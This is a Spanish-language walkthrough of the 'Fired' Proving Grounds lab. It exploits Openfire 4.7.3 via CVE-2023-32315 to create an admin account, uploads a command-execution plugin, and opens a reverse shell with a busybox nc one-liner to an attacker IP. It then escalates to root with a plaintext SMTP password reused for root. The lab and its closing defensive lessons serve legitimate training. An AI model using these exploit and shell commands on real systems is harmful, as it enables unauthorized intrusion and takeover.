the_open_door
café
ESEN

Fired

Proving Grounds PracticeMediaLinux192.168.131.96

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#openfire#cve-2023-32315#auth-bypass#path-traversal#plugin-rce#management-tool#credential-reuse#information-disclosure#oscp
TL;DR. Fired corre Openfire 4.7.3, vulnerable a la CVE-2023-32315: un path traversal en la consola de administración salta la autenticación y nos deja crear un admin (Openfire auth bypass (CVE-2023-32315)). Ya dentro, subimos el plugin "management tool", que ofrece un "Execute command" y nos da shell como openfire. La base de datos embebida (openfire.script) guarda una contraseña reutilizada como la de root (credenciales en el código/config).

Reconocimiento

Escaneo inicial

El TTL de respuesta es 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. SSH y los dos puertos de la consola de Openfire:

ping -c 1 192.168.131.96
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.131.96
PORT     STATE SERVICE
22/tcp   open  ssh
9090/tcp open  hadoop-datanode
9091/tcp open  ssl/hadoop-tasktracker
nmap -p22,9090,9091 -sCV 192.168.131.96 -oN targetedScan
PORT     STATE SERVICE                VERSION
22/tcp   open  ssh                    OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux)
9090/tcp open  hadoop-datanode        Apache Hadoop
9091/tcp open  ssl/hadoop-tasktracker Apache Hadoop

Los "Apache Hadoop" son una firma engañosa: el 9090/9091 sirven la consola de administración de Openfire (los jive-* de las cabeceras lo delatan). El propio login de la consola muestra la versión: Openfire 4.7.3.

Login de la Administration Console de Openfire con "Openfire, Version: 4.7.3"

Explotación

CVE-2023-32315: bypass de autenticación

Openfire 4.7.x (antes de 4.7.5) es vulnerable a la CVE-2023-32315: un path traversal sobre la consola (/setup/setup-*) permite alcanzar páginas restringidas sin sesión, y con ello crear un usuario administrador (Openfire auth bypass (CVE-2023-32315)). Buscando el exploit por la versión aparece el de K3ysTr0K3R:

Búsqueda "openfire git exploit" que apunta al repo K3ysTr0K3R/CVE-2023-32315-EXPLOIT (Openfire Authentication Bypass)

El exploit automatiza el registro de un admin nuevo:

python3 CVE-2023-32315.py -u http://192.168.131.96:9090

El exploit de CVE-2023-32315 confirma la vulnerabilidad y crea el admin hugme/HugmeNOW

[+] Target is vulnerable
[+] Successfully added, here are the credentials
[+] Username: hugme
[+] Password: HugmeNOW

RCE por el plugin "management tool"

Entramos en la consola con la cuenta creada, hugme/HugmeNOW:

Login de la consola de Openfire con hugme / HugmeNOW

Consola de administración de Openfire logueado como hugme

Openfire permite subir plugins .jar desde Plugins → Upload Plugin. Subimos el conocido plugin "openfire management tool":

Panel de plugins de Openfire con el Management Tool subido como admin hugme

El plugin añade una entrada Management Tool en Server → Server Settings:

Menú Management Tool añadido por el plugin en Server Settings

La herramienta pide una contraseña propia (123, la del plugin público):

Login del openfire management tool (openfireshell) con la contraseña 123

Ya dentro, ofrece un modo system command con un campo Execute command. Un whoami confirma la RCE como openfire:

El management tool ejecuta whoami en modo system command y devuelve openfire

Antes de disparar la shell, dejamos Penelope a la escucha en el 22:

penelope 22

Desde ese campo ejecutamos comandos con los privilegios del servicio; lanzamos una reverse shell:

busybox nc 192.168.45.204 22 -e bash

El Execute command del management tool lanza la reverse shell como openfire

(Penelope)> listeners add -p 22
[+] Got reverse shell from openfire~192.168.131.96-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /bin/python3!
openfire@openfire:/$ whoami
openfire

El campo Execute command del plugin lanza el busybox nc y Penelope promociona la conexión a PTY: la shell corre como openfire, la cuenta de servicio.

Local

cat local.txt && whoami && ip a && hostname

local.txt leída como el usuario openfire

9fa5c8ea7c2dcb09312c1d2c9c229b51
openfire

Escalada de privilegios

Contraseña de root en openfire.script

Openfire usa una base de datos embebida en /var/lib/openfire/embedded-db/. El fichero openfire.script contiene los INSERT de configuración, incluidos secretos guardados en claro. Buscamos contraseñas (credenciales en el código/config):

cd /var/lib/openfire/embedded-db
cat openfire.script | grep pass
INSERT INTO OFPROPERTY VALUES('mail.smtp.password','OpenFireAtEveryone',0,NULL)
INSERT INTO OFPROPERTY VALUES('passwordKey','EOAJUe2Sqdlfqjk',0,NULL)

La contraseña SMTP, OpenFireAtEveryone, está reutilizada como contraseña de root:

su root   # OpenFireAtEveryone

openfire.script filtra mail.smtp.password OpenFireAtEveryone; su root con ella da root

openfire@openfire:/var/lib/openfire/embedded-db$ su root
Password:
root@openfire:/var/lib/openfire/embedded-db# whoami
root

La contraseña SMTP estaba reutilizada como contraseña de root: su root con OpenFireAtEveryone nos da la cuenta de root.

Root

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leída como root en Fired (openfire)

673d5a3b8870d82b06088246e71d1d87
root

Cadena de ataque

Openfire (9090/9091)  --  consola de administración 4.7.3
        │  CVE-2023-32315: path traversal -> crear admin hugme/HugmeNOW
        │  subir plugin management tool -> Execute command -> reverse shell
        ▼
openfire  (local.txt)
        │  openfire.script filtra mail.smtp.password = OpenFireAtEveryone
        ▼
root  (proof.txt)  [su con OpenFireAtEveryone]

Lecciones aprendidas

  • El banner puede mentir; identifica por el contenido. nmap etiquetó los puertos como "Apache Hadoop", pero las cabeceras jive-* y la interfaz revelaban Openfire. No te fíes solo del -sCV.
  • Un path traversal en el setup salta la autenticación. La CVE-2023-32315 alcanzaba páginas de configuración sin sesión, y desde ahí se crea un admin. Mantener el servicio parcheado (4.7.5+) lo evita.
  • Subir plugins como admin es RCE. Un panel administrativo que acepta .jar arbitrarios da ejecución de código. El acceso admin debe protegerse como una cuenta con shell.
  • No guardes secretos reutilizados en la config. openfire.script tenía la contraseña SMTP en claro, y esa misma valía para root. Los secretos deben ser únicos por servicio y, a ser posible, no persistirse en texto plano.
Cheatsheet de comandos 5 comandos

Repaso rápido